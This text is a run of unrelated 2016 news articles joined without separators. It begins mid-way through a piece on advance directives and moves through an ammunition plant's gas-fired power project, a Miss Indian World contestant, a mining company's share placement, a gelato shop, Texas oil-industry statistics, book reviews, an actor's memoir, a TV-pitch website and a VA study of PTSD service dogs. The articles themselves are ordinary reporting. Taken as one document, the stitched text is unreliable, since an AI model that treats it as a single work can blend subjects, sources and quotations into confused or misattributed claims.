The conversation may involve how you would want to be treated if you have a terminal illness. That could include exploring whether you would want a ventilator or CPR performed in certain situations. It also could include talking about nutrition and whether you want treatment thats focused on comfort or prolonging your life.

Your doctor will probably want to discuss who you have chosen to act as your health care representative in case you become incapacitated and need someone to make decisions based on your wishes. Think carefully about the spouse, family member or close friend you select for this role and make sure they know your wishes.

Are these the discussions that stirred concern that they would lead to federal death panels?

Yes.

More than six years ago, a provision for Medicare to cover this sort of counseling, which includes discussing end-of-life care, touched off an uproar that threatened President Obamas still-developing health care overhaul.

Former Alaska Republican Gov. Sarah Palins accusation that voluntary counseling could lead to government-sponsored death panels dictating the fate of frail elders was widely discredited. But the counseling still stirs concern among some right-to-life advocates that it could be used to nudge patients into forgoing life-saving treatment and cannot be adequately monitored for bias.

What should I do after talking to my physician?

Write an advance directive.

This documents in your own words instructions about future medical care. That means you wont have to depend on your doctor being present in an emergency and having notes from your discussion.

Advance directives dont expire, so patients dont have to worry about writing one too soon. But people should periodically review them to make sure they still reflect their wishes, said John Mastrojohn III, executive vice president with the National Hospice and Palliative Care Organization.

They basically remain in effect until you change it, he said.

These are legal documents, and their form can vary by state. You wont need a lawyer to complete one, but you may need a witness or notary to sign it.

Mastrojohns organization offers a website with links to copies of each states advance directive form: http://bit.ly/1cgFdvW.
FAIRLAWN  Radford Army Ammunition Plant officials broke ground for a new, gas-fired electricity and steam plant Thursday, saying the $60 million project will reduce the facilitys environmental impact.

The commander of the U.S. Army owned, contractor-operated plant, Lt. Col. Alicia Masson, also announced Thursday that $7 million has been released by the Army Contracting Command for the design of an enclosed incinerator to handle much of the waste that is now burned at the facilitys much-criticized Open Burning Ground.

We absolutely take our obligation to the environment very seriously, Masson said.

The announcement about the incinerator came a day after a sidewalk protest outside the Christiansburg office of U.S. Rep. Morgan Griffith, R-Salem. About 30 people chanted and held signs calling on Griffith to pressure the arsenal to stop the open burning of waste, which critics say could expose residents to toxic fumes. Opposition to the plants open burning of some explosive waste, a practice that dates to the arsenals founding on the eve of World War II, has grown in recent years, with residents speaking out at local government meetings and elsewhere.

While plant officials have said that they want to reduce the open burning  which is allowed under a state permit that is in the midst of a renewal review  they called replacing their 77-year-old coal-burning power and steam plant the most important single environmental step that the propellant-maker can take. Most of the environmental violations that the plant  which is operated by the private BAE Systems company  is cited for by regulators involve emissions from the coal plant, they said.

Those emissions will end as the cleaner-burning natural gas-fired plant goes online, which is scheduled to happen in January, said Masson and Rob Davie, the plants operations chief.

This really positions the facility to drastically reduce our environmental signature, Masson said.  I am really excited that we are leaving this place better than we found it.

In the new facility, natural gas will heat six boilers to produce steam, some of which will drive electricity-generating turbines. The plant will be built in a way that allows future integration of solar or wind technologies, according to a arsenal fact sheet distributed before Thursdays event.

The arsenals switch from coal to natural gas was inspired partly by a similar shift made in 2013 by the Celanese plant in Giles County, Masson said. There had been years of consideration of how best to replace what Masson called the relic powerhouse, and when Celanese installed a gas-fired boiler system, a team from the ammunition plant went to see the results and was impressed, she said.

The Celanese project was larger than the arsenals, and involved a 16-mile gas pipeline that has drawn criticism for erosion and other problems along its mountainous route. Davie said that the only pipeline elements to the ammunition plants plans involved enlarging sections of pipeline within the arsenals property, and some sections along the already-existing line that comes to the plant.

Thursdays groundbreaking ceremony centered less on environmental concerns than on celebrating the ammunition plants long service to the military.

Under a canopy in the field where the gas-fired plant is to be built  formerly the location of now-demolished administration and training buildings  BAE Systems General Manager William Barnett reminded an audience of military, company and local officials that the arsenal helps protect those who protect us.

Looking down the slope to the smokestacks and winding pipelines of the production area, Barnett called them visible proof of our determination to remain free by remaining strong.

Masson and 11 other officials with the Army, BAE Systems and the builder of the new gas-fired plant, Fluor, stood behind a long row of bare dirt and dug in with gold-painted shovels.

Besides generating some of the arsenals electricity, the new plant also will produce steam for manufacturing and for heat.

After the groundbreaking ceremony, Masson described the gas-fired plant as one of three major projects intended to improve operations and reduce environmental effects.

A new nitrocellulose production facility that is now under construction should greatly improve efficiency and reduce energy use, Masson said. It is scheduled to open in 2018.

The enclosed incinerator could go into use in 2019, she said  though many factors could affect that timetable, she cautioned.

Masson said that shifting away from open burning has been a goal at the arsenal for more than 10 years, and said the development of an enclosed incinerator that will trap emissions is not in response to recent protests.

The arsenal operates two other enclosed incinerators but the waste that is disposed of there is ground up before being burned, arsenal officials say. The waste that is not safe to grind is burned at the Open Burning Ground, a row of steel pans near the banks of the New River.

Masson said that she could not say how much of the waste now burned in the open would be sent to a new enclosed incinerator but that it would be as close to 100 percent as possible.
Danielle Ta'Sheena Finn first learned about the national pageant years ago from a billboard that proudly displayed the words "Home of the first Miss Indian World."

"I used to drive by that as a kid," she said of the sign on South Dakota's Cheyenne River Sioux Reservation, which included a picture of Codi High Elk, the 1984-85 winner. "I always looked up to her. She made history."

Finn will have her own shot at making history this week as she looks to become the first woman from the Standing Rock Sioux Tribe to earn the title at the Gathering of Nations Powwow in Albuquerque, N.M.

She competed in 2014 and came in as second runner-up. She did not enter last year, but opted to try again this year at age 25 before her eligibility expires.

The pageant will end April 30 after several days of competition. Finn and 23 other contestants will each start with an interview in front of several judges, who will ask cultural questions. Then, each will showcase a talent onstage in front of 2,000 people.

Finn chose a challenging activity two years ago. "I was shooting arrows onstage because the Lakota Sioux people are known for our archery skills," she said.

This year, she will share the story and song of the penny dress. Lakota women in the early 1900s used to wear such dresses to symbolize two worlds: Native and non-Native.

She's making her own dress adorned with 500 pennies. "It's quite heavy," she said.

Finn will also participate in a public speaking contest and a powwow dance, where she plans to perform a women's northern traditional dance in a buckskin dress.

The pageant coincides with final exams for the second-year law student, so Finn had to ask the dean of Arizona State University's law school to defer her exams. She's grateful he said yes.

Finn graduated from Century High School, having grown up in Bismarck and the Porcupine district on Standing Rock. At ASU, she is studying federal Indian law and tribal law.

Finn's Miss Indian World platform is threefold: suicide prevention, higher education and language preservation. If she is crowned the winner, she will promote her platform while making appearances at events throughout the country.
White Rock, British Columbia (FSCwire) - Asiamet Resources Ltd. (the Company) is pleased to announce that through clients of Optiva Securities Limited, its broker to the placement, the Company has received commitments to purchase 48,387,097 common shares at a price of GBP 3.1 pence per share for total gross proceeds of 1.5 million (equivalent to approximately CDN $2.7 million at CDN $0.056 per share). The placement was oversubscribed. The offering is a brokered private placement and the common shares will be issued and settled in CREST.

Asiamet Resources CEO Tony Manini commented:

"Following the recent release of our highly compelling PEA results for the BKM deposit, Asiamet is very pleased with the strong level of support it has received from both existing and new investors for this oversubscribed capital raising on terms considered to be favorable for all shareholders.

While very significant progress has been made in advancing Asiamet from a pure explorer to an explorer-developer over the past year, the Company considers that its assets are still substantially under-valued. As such we intend to push the BKM project through feasibility studies using a staged approach to progressively capture value for shareholders as various milestones are met. Simultaneously we will be advancing discussions with potential funding partners at both the corporate and project level.

The 2016 program at BKM will focus on long lead time items for the bankable feasibility studies and exploration and resource drilling to increase potential mine life including:

Infill drilling to upgrade part of the BKM Resource to measured and indicated confidence levels with the aim of demonstrating a +10 year life for BKM

Further exploration work on high potential prospects BKS, BKW and BKZ nearby BKM where excellent targets for additional copper mineralization are demonstrated by strong surface and scout drilling results returned to date

Additional drilling for metallurgy samples, stage 3 short and long column copper leach testwork and Environmental Impact Assessment (AMDAL)

PFS level project option analysis, optimisation of the various inputs to further enhance project economics, and value engineering studies

Finalising the Beutong and Jelai licence conversions from exploration to production stage and continuing to work on establishing opportunities for strategic or commercial partnering on both projects.

We look forward to building on the strong momentum established over the past year with a continued flow of news from ongoing work programs and corporate initiatives aimed at fast tracking development of the BKM project and simultaneously significantly enhancing value for shareholders.

Placing Details

The placement shares will be fully paid and will rank pari passu in all respects with the existing common shares in the Company. Application has been made for the placement shares to be admitted to trading on AIM (Admission) and to be listed on the TSX Venture Exchange. It is expected that Admission will become effective and that dealings in the placement shares will commence on April 27, 2016. The total number of common shares in issue following completion of the placement will be 622,984,168.

The private placement is subject to compliance with applicable securities laws and to the receipt of regulatory approval. The Company will pay broker fees in connection with the private placement in accordance with the policies of the TSX Venture Exchange. The private placement will not be conducted in North America and the shares placed will be settled through CREST.

The Chief Executive Officer of the Company, Antony Manini, a Director and the Deputy Chair, notified the Company on 21 April, 2016 that he will acquire 322,581 shares of the Company at a price of GBP 3.1 pence per share as a participant in the placement.

Following the placement Mr. Manini will indirectly hold 14,902,199 (2.4%) common shares in the Company by way of 6,483,566 common shares held by Antman Holding Pty Ltd and 8,418,633 common shares held by A.J.M. Investco Pty Ltd. Mr Manini also directly holds 3,812,554 share purchase warrants (details below) and 3,000,000 options in the Company with an exercise price of CAD $0.05 per share and an expiry date of August 31, 2020.

Warrants Expiry Date Ex. Price

611,904 4-Jun-2016 C$0.06

318,579 18-Jun-2016 C$0.06

1,529,761 2-Oct-2016 C$0.10

269,575 13-May-2017 C$0.12

164,878 13-May-2017 C$0.12

917,857 13-Apr-2019 C$0.10

ON BEHALF OF THE BOARD OF DIRECTORS

Tony Manini, Deputy Chairman and CEO

For further information please contact:



-Ends-

Tony Manini



Deputy Chairman and CEO, Asiamet Resources Ltd.

Telephone: +61 3 8644 1300

Email: tony.manini@asiametresources.com

FlowComms Limited

Sasha Sethi

Telephone: +44 (0) 7891 677 441

Email: Sasha@flowcomms.com / Mehrdad@flowcomms.com



Asiamet Resources Nominated Adviser



RFC Ambrian Limited

Andrew Thomson / Oliver Morse

Telephone: +61 8 9480 2500

Email: Andrew.Thomson@rfcambrian.com / Oliver.Morse@rfcambrian.com

VSA Capital Limited



Andrew Raca / Justin McKeegan

Telephone: +44 20 3005 5004 / +44 20 3005 5009

Email: araca@vsacapital.com

Optiva Securities Limited



Christian Dennis

Telephone: +44 20 3137 1903

Email: Christian.Dennis@optivasecurities.com

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.

United States Advisory

The securities referred to herein have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act"), have been offered and sold outside the United States to eligible investors pursuant to Regulation S promulgated under the U.S. Securities Act, and may not be offered, sold, or resold in the United States or to, or for the account of or benefit of, a U.S. Person (as such term is defined in Regulation S under the United States Securities Act) unless the securities are registered under the U.S. Securities Act, or an exemption from the registration requirements of the U.S. Securities Act is available. Hedging transactions involving the securities must not be conducted unless in accordance with the U.S. Securities Act. This press release shall not constitute an offer to sell or the solicitation of an offer to buy any securities, nor shall there be any sale of securities in the state in the United States in which such offer, solicitation or sale would be unlawful.

This news release contains forward-looking statements that are based on the Companys current expectations and estimates. Forward-looking statements are frequently characterized by words such as plan, expect, project, intend, believe, anticipate, estimate, suggest, indicate and other similar words or statements that certain events or conditions may or will occur. Such forward-looking statements involve known and unknown risks, uncertainties and other factors that could cause actual events or results to differ materially from estimated or anticipated events or results implied or expressed in such forward-looking statements. Such factors include, among others: the actual results of current exploration activities; conclusions of economic evaluations; changes in project parameters as plans continue to be refined; possible variations in ore grade or recovery rates; accidents, labour disputes and other risks of the mining industry; delays in obtaining governmental approvals or financing; and fluctuations in metal prices. There may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. Any forward-looking statement speaks only as of the date on which it is made and, except as may be required by applicable securities laws, the Company disclaims any intent or obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise. Forward-looking statements are not guarantees of future performance and accordingly undue reliance should not be put on such statements due to the inherent uncertainty therein.

To view this press release as a PDF file, click onto the following link:public://news_release_pdf/Asiamet04212016.pdfSource: Asiamet Resources Ltd. (TSX Venture:ARS, AIM:ARS) www.asiametresources.com

Maximum News Dissemination by FSCwire. http://www.fscwire.com

Copyright  2016 Filing Services Canada Inc.
Tasty treat: The tricolour margherita-inspired gelato. Photo: Darren House

400 Gradi's Johnny di Francesco has made a pizza-inspired gelato  a combination of red sponge soaked in the Italian liqueur Strega, zabaglione gelato and a neutral flavoured gelato coloured with green chlorophyll extract  in homage to his award winning margherita pizza.

The chef and owner of the ever-expanding Gradi empire  there are stores in Brunswick, Essendon, Ringwood and at Crown Casino  opened gelato shop Zero Gradi on Wednesday with a margherita gelato on the menu; other flavours on offer include pistachio, salted caramel, chocolate and espresso.

New venture: Inside Johnny di Francesco's Zero Gradi gelateria. Photo: Darren House

"I wanted to produce a gelato in Melbourne that is similar to what you might find in Sicily or in Naples," says di Francesco.

Located just down the road from his original Brunswick outpost, all gelati will be churned daily on the premises using seasonal ingredients.

Scoops start from $4 with an optional "panna" whipped cream topping for an extra $1.

Mouthwatering: Chocolate-drizzled gelato at Zero Gradi. Photo: Darren House

The most important part of making good gelato is the base, says di Francesco  his recipe is "a very big secret"  as well as high quality fruit and other ingredients.

As well as the cold stuff, Zero Gradi will serve granita (lemon and almond flavours), Italian pastries and cakes, and coffee.

Open daily 7.30am-10pm.

Shop 1, 93 Lygon Street, Brunswick East, 03 9994 5303, 400gradi.com.au
Patrick Dove/Standard-Times Four oil drilling sites operate within a few hundred yards of each other as companies compete for land during a new oil boom in the Concho Valley. shot/archived 10.03.13

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By Texas Association Of Energy Producers

WICHITA FALLS  Even though crude oil prices increased 28 percent recently, the crunch in the job market and virtually every other economic indicator points to more tough times in the oil and gas industry, according to an analysis by the leading industry association in Texas.

Karr Ingham, petroleum economist who authors the Texas Petro Index (TPI), announced April 19 at the 86th Annual Meeting and Expo of the Texas Alliance of Energy Producers that 84,000 oil and gas jobs have been lost in Texas during the 16 consecutive months of decline in the TPI.

In addition to the decline in jobs, the drilling rig count, well completions, and drilling permits are all down, too, Ingham said, and he advised against reading too much into the oil price hike.

"First, it may or may not be the real deal; prices increased in part on the hope that some agreement might be reached between producing countries elsewhere in the world on production limitations and that's a prickly proposition," said Ingham. "And second, price increase now produces a change in other oil field indicators later, and indeed most other components of the index continued to decline in March."

Ingham said the TPI indicates "more than 84,000 direct industry jobs have been lost through March from peak upstream employment in December. Upstream industry employment in Texas will almost certainly continue to decline for most of the rest of the year; history suggests that employment will trough and begin to increase a good six months after prices reverse course."

West Texas Intermediate (WTI) crude oil averaged $34.58 per barrel ($/bbl.) in March, nearly 28 percent more than the monthly average of $27.08/bbl. in February.

Since peaking at 313.3 in October and November 2014, the TPI has declined more than 45 percent. In November 2014, the combined value of Texas-produced oil and gas was about $9.4 billion.

The value destroyed during the current economic contraction is reflected in the TPI's leading indicators:

The statewide rig count averaged 221 in March, down from a monthly average of 904 in November 2014. On Friday, April 8, the statewide weekly rig count reached another dubious milestone, falling below 200 to 197, the lowest weekly rig count since June 1999.

The Texas Railroad Commission issued 1,594 drilling permits in first quarter 2016, the lowest first quarter total in the history of the TPI, which dates back to January 1995. The RRC issued 5,367 permits in first quarter 2014 and 5,775 permits in first quarter 2013 and 2,949 in the first quarter of 2015 as permit applications were falling in response to lower crude oil prices.

Texas Petro Index for March

A composite index based upon a comprehensive group of upstream economic indicators, the Texas Petro Index in March was 170.7, which was 40 percent less than in March 2015. Before the current economic downturn, the TPI peaked at a record 313.3 in October and November 2014, which marked the zenith of an economic expansion that began in December 2009, when the TPI stood at 187.4.

TPI Highlights in March:

Crude oil production in Texas totaled an estimated 108.4 million barrels, 4.1 percent less than in March 2015. With oil prices in March averaging $34.58/bbl., the value of Texas-produced crude oil totaled about $3.75 billion, 25 percent less than in March 2015.

Estimated Texas natural gas output was about 721.5 billion cubic feet, a year-over-year monthly decline of about 3.3 percent. With natural gas prices in March averaging $1.63/Mcf, the value of Texas-produced gas declined 41.5 percent to nearly $1.18 billion.

The Baker Hughes count of active drilling rigs in Texas averaged 221, compared to 492 in March 2015. Drilling activity in Texas peaked in September 2008 at a monthly average of 946 rigs before falling to a trough of 329 in June 2009. In the most recent economic expansion, which began in December 2009, the statewide average monthly rig count peaked at 932 in May and June 2012.

An estimated 222,000 Texans remained on upstream oil and gas industry payrolls, down 27.5 percent from a high of about 306,020 in December 2014. According to TPI estimates, the trough in upstream oil and gas industry employment in Texas before the expansion ending December 2014 was 184,640 in October 2009. During the previous growth cycle, industry employment peaked at 225,965 in October 2008.
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By Glenn Dromgoole

"Titans," the fourth Texas epic from San Antonio novelist Leila Meacham, features twins separated at birth who find their lives intertwined in the early days of Texas oil (Grand Central Publishing, $26 hardcover).

Nathan Holloway is content with life on the family wheat farm near Gainesville until a wealthy stranger from Dallas arrives, claiming to be his birth father.

Samantha Gordon is the only child of a well-to-do ranching couple near Fort Worth. Although she is very happy with her adoptive parents, Samantha naturally has questions about where she came from. A mysterious letter from an Oklahoma doctor sets her on a quest to know more.

Meanwhile, Texas is anticipating an oil boom. The story is set in 1900, six years after oil was discovered in Corsicana and a year before the first big boom would blow in at Spindletop, near Beaumont.

Nathan and Samantha, at age 20, become major figures in an effort by a Dallas company to drill for oil on the Gordons' ranch property.

Love, lies, secrets, loyalty, betrayal and triumph all come into play as the story unfolds.

Meacham keeps the reader moving quickly through the 594-page saga as she did with her earlier Texas epics  "Roses" (2010), "Tumbleweeds" (2012) and "Somerset" (2014). I have enjoyed all four books, reading each in just two or three days, and they're all in the 500-600 page range.

Her novels are well-researched family dramas, packed with numerous twists, turns and surprises. With Mother's Day just around the corner, "Titans" might be on the wish list of moms who are Meacham fans.

Meacham, 77, wrote "Roses" after retiring as a high school English teacher. Back in the 1980s she penned three romance novels, and now that she has become a best-selling author those three earlier books are being reissued starting this summer.

Meanwhile, she is at work on another novel set in Paris (France, not Texas) during World War II.

Meacham will be presented the A.C. Greene Award, given annually to a distinguished Texas author, at the 2016 West Texas Book Festival in Abilene in September.

Texas Women: Noted Austin author Sarah Bird pays tribute to Texas women in an essay published as a small gift book, "A Love Letter to Texas Women" (University of Texas Press, $16.95 hardcover).

"Whatever end of the political spectrum you want to come at her from," writes Bird, "there is something undeniably special about the Texas Woman.

"It doesn't matter whether or not you believe you are special," she continues, "because the rest of the world does."

Lady Bird Johnson and Laura Bush get specific recognition, as well as Ann Richards, Molly Ivins, Barbara Jordan, the writer's classmates at a Catholic school who made her feel welcome as a newcomer, the friendly ladies at a neighborhood beauty salon, and women who teach their men to dance.

Glenn Dromgooles latest book is More Civility, Please. Contact him at g.dromgoole@suddenlink.net.
Contributed photo Anthony James (left) debuts in "In the Heat of the Night" with Rod Steiger, Warren Oates and Sidney Poitier.

SHARE Contributed photo Anthony James loses an ear to Clint Eastwood's good aim in "High Plains Drifter." Contributed photo Cover of "Acting my Face," based on photo taken in 1983 by Alisha Tamburri, is a book by Anthony James. Contributed photo Anthony James and his mother, Marika Palla Anthony, at one of his figurative art shows. Marlon Brando's art is shown in the background. Nick Thomas

After completing his autobiography in 2009, former actor Anthony James approached several book agents. Their recommendation was unanimous: "It's a wonderful memoir, but take your mother out of it and we'll represent you!"

James would have none of it. As much as telling the story of his rise to become one of Hollywood's most memorable "bad guys" in the '70s and '80s, he was unwavering in his determination to also honor the woman who supported his career.

"After all those years of agents and publishers wanting to 'throw Momma from the train,' the book has just been published by the University of Mississippi Press," said James from his home near Boston, where he has lived since departing Hollywood 20 years ago. (www.upress.state.ms.us/books/1689).

The title, "Acting My Face," seemed appropriate to the lanky, swarthy James, who is widely recognized for playing psychopathic killers and other disturbed characters. "I have to remind people that I did play love scenes, it's just that they were at knifepoint!"

After selling all their possessions and moving from South Carolina to Hollywood in 1960, James says his widowed Greek mother, Marika Palla Anthony (19132008), immediately began working to support him.

"She took a job as a factory steam presser while I tried to start my career," James said. "Those first years in Hollywood were difficult and scary."

With persistence, luck and the encouragement of a devoted mother, James landed a small but pivotal role in "In the Heat of the Night" (Best Picture Oscar, 1968) six years after arriving in Hollywood.

After playing sleazy diner counterman Ralph Henshaw, James was immediately typecast as a villain.

"My mother wasn't thrilled  she always thought of me as the heroic romantic lead  but eventually accepted it."

In "Burnt Offerings" (1976) James was memorable as a creepy chauffeur although he never uttered a word on-screen. Off the set he was more vocal, and recalls his first encounter with co-star Bette Davis.

"For one scene, she was made up to appear over a hundred years old, which was done in her hotel room for her convenience," James said. "I was staying in the same hotel and met her in the lobby as she came down in character as an old woman. I said 'It's a pleasure to meet you Ms. Davis.  We should probably get over to the set because it will take a long time to get your makeup on!'"

Davis' entourage froze with shock, said James, "But she got the joke. Two years later we did 'Return from Witch Mountain,' and during the nine weeks of filming had all our scenes together. Director John Hough and I were the only people she would allow in her dressing room!"

James worked in two Clint Eastwood Westerns and didn't fare well at the hands of the famous cowboy. In "High Plains Drifter" (1973) Clint shot off his ear before extracting final retribution with a whip, and in "Unforgiven" James was blasted with a shotgun just before the credits rolled.

"Unforgiven" won Best Picture Oscar in 1992 and was James' final acting job after nearly 100 film and TV roles.

An abstract artist of many years, James retired to the East Coast where he continues to paint. He published a book of art and poetry, "Language of the Heart," in 1994, and his works are sold through Renjeau Gallery (renjeau.com) in Natick, Massachusetts.

Bookending his acting career with a pair of Best Picture films is an accomplishment that James views modestly.

"I never considered myself a celebrity, just a sometime recognizable face. I hope people will laugh out loud at some of the book's Hollywood tales and are moved by my mother's story."

Nick Thomas (getnickt.com) teaches at Auburn University at Montgomery, Alabama, and has written features, columns and interviews for more than 400 magazines and newspapers.
The Honig Co., LLC The home page for I'd Watch That, a website that invites the public to make and judge TV "sizzle" reels for possible series, is shown. The purpose of the site is to solicit opinions on proposed shows from people outside the sometimes-cloistered entertainment industry.

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Website aims for input from outside studios

By Lynn Elber, Associated Press

LOS ANGELES  You're mystified by the number of destined-for-failure shows on TV and figure you could make better picks than network executives.

Or you sneer at the recycled concepts of too many dull series when you have a killer original story to tell.

Whether you fall into either camp or both, there's a new website for you to play on: I'd Watch That, which launched five months ago with some heavyweight financial backers.

It invites aspiring TV makers to post a "sizzle" reel of up to two minutes in length that demonstrates an idea's potential to become a series. The public gets to judge the proposals, with research methodology used to analyze the results and create a popularity ranking, said CEO Tom Zito.

The goal is sell the top ideas to the exploding number of content-hungry broadcast, cable and online outlets with Big Picture Inc., the website's parent company, on board as a producer. The investors include William Randolph Hearst III; former AOL chairman and CEO Barry Schuler, and John Fisher of venture capital firm Draper Fisher Jurvetson.

I'd Watch That is designed as an open marketplace of TV ideas in a closed, relationship-bound industry, an approach that aims to turn the annual multibillion-dollar process of developing new series "on its head," said Zito, a journalist turned entrepreneur.

In the traditional approach, "until money is spent to get shows made into pilots, no consumer sees a project," he said. Even Amazon, which does online testing of potential new series, makes full pilot episodes for consumers to assess, Zito said.

One proposal featured on I'd Watch That is a 1960s drama about women working at a Cosmopolitan-like magazine during the dawn of feminism ("Mad Men" meets "Sex and the City," Zito calls it) from a filmmaker-writer, PJ Posner.

Another is "The Last Templar," about a 14th-century vengeance-seeking survivor of the soldiers whose duties included protecting the Roman Catholic Church until they were betrayed.

Its creator is Daniel Madore, who earned a media and film degree in 2011 from the University of San Francisco. He's been paying his dues in a variety of jobs, including production assistant, art director and grip, while directing music videos and short films on the side.

"When it comes to getting your work shown, it is quite the headache and the grind," he said, with uncertainty surrounding every avenue from film festivals to YouTube. While he's cautiously optimistic about what the I'd Watch That website might yield, he says the concept has merit.

"Crowdsourcing is part of a new generation of viewers. The audience now has a very strong voice and one would be foolish to ignore it," Madore said in an email exchange from Europe.

One expert agrees with that perspective.

"The idea of democratizing Hollywood for the world and democratizing good stories is an interesting one," said Peter Csathy, CEO of Manatt Digital Media, a business consulting and legal services firm.

But to be effective the new website will have to "break through the (online) noise" to garner a critical mass of participants among both content creators and the audience judging their work, Csathy said.

Zito, formerly a staffer at The Washington Post and contributor to New Yorker magazine, saw what he considers the dysfunctional TV process up close as a writer on a short-lived drama series. "Capital News," set at a Washington newspaper, lasted for three low-rated episodes in 1990 before it was axed.

That left 10 costly unaired episodes and a bemused Zito.

"It made me scratch my head about the seeming randomness about the way television shows were created," he said. His segue into business included the creation of several previous companies including Integrated Media Measurement Inc., which tracked viewership on outside-the-home platforms including computers and mobile devices.

Zito sold the firm but put his research expertise to work again for I'd Watch That. While he said thousands of people have logged on, he declined to specify the number and said it's not critical the site doesn't need large numbers to function effectively as an online focus group, according to Zito.

"We're not trying to be a destination viewing site," he said. "We really are a research company trying to find content with a better chance of becoming successful. ... We will live or die based on how that content does."

The company also declined to release the number of proposals it's received or how close it is to any production deals. Investor Hearst, lauding Zito's business track record, noted it's still a fledgling enterprise.

Madore said he hopes his idea will come to fruition through I'd Watch That but is counting other rewards.

"You can start to see what viewers want and what they don't want. They give their opinion and you can sort through it all and that only makes your idea and project stronger," he said.

Lynn Elber is a national television columnist for The Associated Press. Her work can be found at http://bigstory.ap.org/content/lynn-elber and she can be reached at lelber(at)ap.org and on Twitter at http://twitter.com/lynnelber
In this Thursday, March 24, 2016 photo, Army veteran Joe Aguirre drapes a tattooed arm across the back of his service dog, Munger, in Fayetteville, N.C. The Department of Veterans Affairs is in the middle of a multi-year study to determine whether it should pay for such psychiatric service dogs. (AP Photo/Allen G. Breed)

SHARE In this Thursday, March 24, 2016 photo, Army veteran Joe Aguirre and his service dog, Munger, walk back to their truck after lunch in Fayetteville, N.C. The Department of Veterans Affairs is in the middle of a multi-year study to determine whether the agency should provide psychiatric service animals for vets with post-traumatic stress disorder. (AP Photo/Allen G. Breed) In this Thursday, April 14, 2016 photo, military veteran Cole Lyle, who suffers with PTSD, and his dog Kaya, wait in the hallway of the Rayburn House Office Building on Capitol Hill in Washington, prior to testifying before the House National Security subcommittee hearing on "Connecting Veterans with PTSD with Service Dogs." (AP Photo/Pablo Martinez Monsivais) In this Thursday, April 14, 2016 photo, military veteran Cole Lyle, who suffers with PTSD, walks with his dog Kaya in the hallways of Rayburn House Office building on Capitol Hill in Washington, prior to testifying before the House National Security subcommittee hearing on "Connecting Veterans with PTSD with Service Dogs." (AP Photo/Pablo Martinez Monsivais) In this Thursday, April 14, 2016 photo, Veterans Affairs Department Office of Research and Development Chief Veterinary Medical Officer Dr. Michael Fallon testifies on Capitol Hill in Washington, before the House National Security subcommittee hearing on "Connecting Veterans with PTSD with Service Dogs." (AP Photo/Pablo Martinez Monsivais)

By ALLEN G. BREED, AP National Writer

FAYETTEVILLE, N.C. (AP)  Army veteran Joe Aguirre opens a restaurant door, then steps aside to let his golden retriever take point. "Clear," Aguirre commands, and 3-year-old Munger pivots right, left, then right again, sweeping the room for potential threats.

"He's basically looking for ... anything that would be out of the ordinary. A bag. A particular weapon. People acting erratic," says Aguirre, who suffers from post-traumatic stress disorder after three tours of duty in Iraq and one in Afghanistan. At the cash register, Aguirre says "Block," and the dog places himself perpendicular to his master, creating a buffer to anyone who might approach.

Before Munger, a simple outing like this would have been terrifying if not impossible. "He's put faith back into my way of looking at society," Aguirre says.

But do the comfort and security this lovable dog provides come at the expense of true healing from PTSD? Is Munger merely preventing Aguirre from confronting his demons?

Since 2002, the U.S. Department of Veterans Affairs has paid veterinary bills to veterans with guide or service dogs for physical disabilities. Now, the agency is in the midst of a $12 million study to gauge the efficacy and costs of using dogs to help those who suffer from post-traumatic stress.

Four years in, that research has been plagued by problems. Only about 50 dogs have been placed with veterans, and critics question whether the protocol itself is flawed  with the dogs being trained to do things that could reinforce fears. Others worry the animals could become a substitute for the hard work that comes with therapy.

"You will have the veterans go to more places with the dogs and do more things than they would otherwise do. But they are reliant on the dog, not on their knowledge of ... whether really they are afraid of a ghost," said Dr. Edna Foa, director of the Center for Treatment and Study of Anxiety at the University of Pennsylvania Perelman School of Medicine.

More than 350,000 veterans of the Iraq and Afghanistan wars have sought help from the VA for PTSD. Yet the agency is authorized to pay only for "evidence-based" therapies such as cognitive processing and prolonged exposure, which involve having veterans confront and analyze traumatic events.

In 2010, Congress permitted the VA to study alternative treatments for PTSD, including the therapeutic use of animals. The study began in late 2011 in Tampa, Florida, with three nonprofits contracted to provide up to 200 service dogs for veterans, who would be compared against a control group that did not receive dogs.

The effort soon ran into trouble. The VA cut off two of the three dog vendors following biting incidents involving participants' children. The final contract was terminated in August 2012 amid allegations of lax veterinary care and placement of dogs "with known aggressive behavior," according to VA records. By then, only 17 dogs had been placed.

During the next year and a half, the study protocol was revamped to exclude veterans with children under age 10. It also dropped the no-dog control in favor of a group that would receive less-specialized "emotional support dogs" whose "sole function is to provide comfort."

Critics of the study object most strongly to the tasks the VA is requiring of the dogs  sweeping the perimeter of a room before a veteran enters, for example, or protecting the veteran by "blocking."

"Isn't that saying that al-Qaida could be behind the shower curtain? That's supporting paranoid, pathological thinking," said Meg Daley Olmert, author of a book on how contact with a dog can create a sense of well-being.

Olmert is chief research adviser for Warrior Canine Connection, a Maryland-based nonprofit that uses veterans to train service dogs for their fellows. The group's leaders say dogs should be trained to pick up on cues from PTSD sufferers and then provide the appropriate support, such as learning to wake someone up during a nightmare or detecting when a veteran is anxious, and interacting in a way that helps calm him.

The VA's training protocol "reinforces the cognitive distortions that accompany PTSD," said Robert Koffman, a retired Navy psychiatrist and chief medical officer for Warrior Canine Connection.

Rick Yount, executive director of the nonprofit, questioned whether the study had perhaps even been set up to fail so that the VA wouldn't have to pick up the tab for veterinary bills for psychiatric service dogs. Already the VA is on the hook for upward of $1.4 million a year to cover bills for service dogs for physical disabilities.

Michael Fallon, the VA's chief veterinary medical officer, said the insinuation that money is the researchers' chief concern is "ludicrous." As for the training guidelines, he said the list of commands was developed during more than a year of consultation with mental-health experts, service dog providers and veterans. They help get veterans "out into the community and integrated more into the public life," he said.

One dog trainer agreed, in part. David Cantara heads North Carolina-based Patriot Rovers, which trained Aguirre's dog and is not connected to the VA's study. While Cantara is opposed to using dogs to sweep rooms, he said the blocking command is one of the most vital to his veterans.

"They startle very quickly. And knowing that they have that dog there, guarding their six as it were ... they're not in this constant hyper vigilant state," he said.

The debate has highlighted an overall lack of standards in the service dog industry. Currently, the VA will only pay benefits for service dogs trained by an organization accredited by Assistance Dogs International, and that group is only now developing its own guidelines for the use of dogs for veterans with combat-related PTSD. Only one of the vendors supplying dogs for the VA study is ADI-accredited, and none has prior experience training animals for veterans with PTSD.

